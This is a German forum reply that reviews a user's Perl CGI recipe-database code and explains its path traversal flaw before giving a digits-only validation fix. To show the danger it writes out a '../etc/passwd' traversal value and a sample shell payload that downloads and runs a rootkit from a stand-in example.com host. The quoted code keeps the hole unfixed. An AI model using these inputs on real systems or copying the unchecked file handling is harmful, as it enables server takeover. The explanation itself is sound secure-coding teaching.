Hallo,
Hallo RedSnake,
ich schreibe gerade eine Rezeptdatenbank. Leider habe ich eine kleiner Problem.
Du hast mindestens zwei Probleme, und das zweite ist Dir nicht bewußt.
Hier ist mein Quelltext:
sub cocktail_zubereitung_save {
$id_cocktail = param("id_cocktail");
$zubereitung = param("zubereitung");
print ("$zubereitung");
#chomp ($zubereitung);
open(DATA, ">./database/zubereitung/$id_cocktail.txt");# || die "kann $data nicht lesen!\n";
print DATA ($zubereitung);
close (DATA);
print p("Daten gesichert");
}
sub cocktail_zubereitung {
print p("Zubereitung");
$id_cocktail = param("id_cocktail");
open(DATA, "<./database/zubereitung/$id_cocktail.txt") || die "kann $data nicht lesen!\n";
@datensatz = <DATA>;
close (DATA);
print hr, start_form;
print p("<textarea rows="10" cols="50" name="zubereitung">@datensatz</textarea>");
print ("<INPUT TYPE="hidden" NAME="id_cocktail" value="$id_cocktail">");
print ("<INPUT TYPE="hidden" NAME="action" value="cocktail_zubereitung_save">");
print submit("Zubereitung sichern");
print end_form;
}
Dein zweites Problem ist deine Parameterauswertung, sie findet schlicht nicht statt!
Wenn jemand auf die Idee kommt, das Feld id_cocktail durch beliebige Mittel zu ändern (z.B. Editieren des gespeicherten Formulars oder ganz simpel per URL), hat er Vollzugriff auf dein System, zumindest mit den Rechten des Webservers.
Was meinst Du, was passiert, wenn id_cocktail den Wert "../../../../../../../../etc/passwd\0" hat ?
Damit hat der Angreifer eine Liste aller User-Accounts.
Oder folgender Angriff:
id_cocktail="../../../../../../../../../../tmp/ichhabdichandeneiern.sh\0"
zubereitung=qq[
#!/bin/sh
lynx -dump http://www.example.com/evil/empire/rootkit.tgz > rootkit.tgz
tar xzvf rootkit.tgz
rootkit/become_root
echo 'You are dead.'
];
Damit hat der Angreifer eine Datei under einem beliebigen Namen in deinem System, er braucht nur noch ein zweites fehlerhaftes Programm, um diese Datei auszuführen.
Bitte versteh' mich nicht falsch. Ich will Dich nicht runtermachen oder Dir zeigen, daß Du weniger Ahnung von Perl hast als Larry Wall himself. Ich will Dir nur zeigen, daß Du Dir mit ungeprüften CGI-Parametern in den Fuß schießen kannst.
Lösungsansatz:
use CGI::Carp qw(fatalsToBrowser);
...
my $id_cocktail=param('id_cocktail');
die "Don't try hacking my scripts, I'm better than you!\n"
unless $id_cocktail=~/^\d+$/; # only digits allowed
open FILE,"... $id_cocktail ..."
Alexander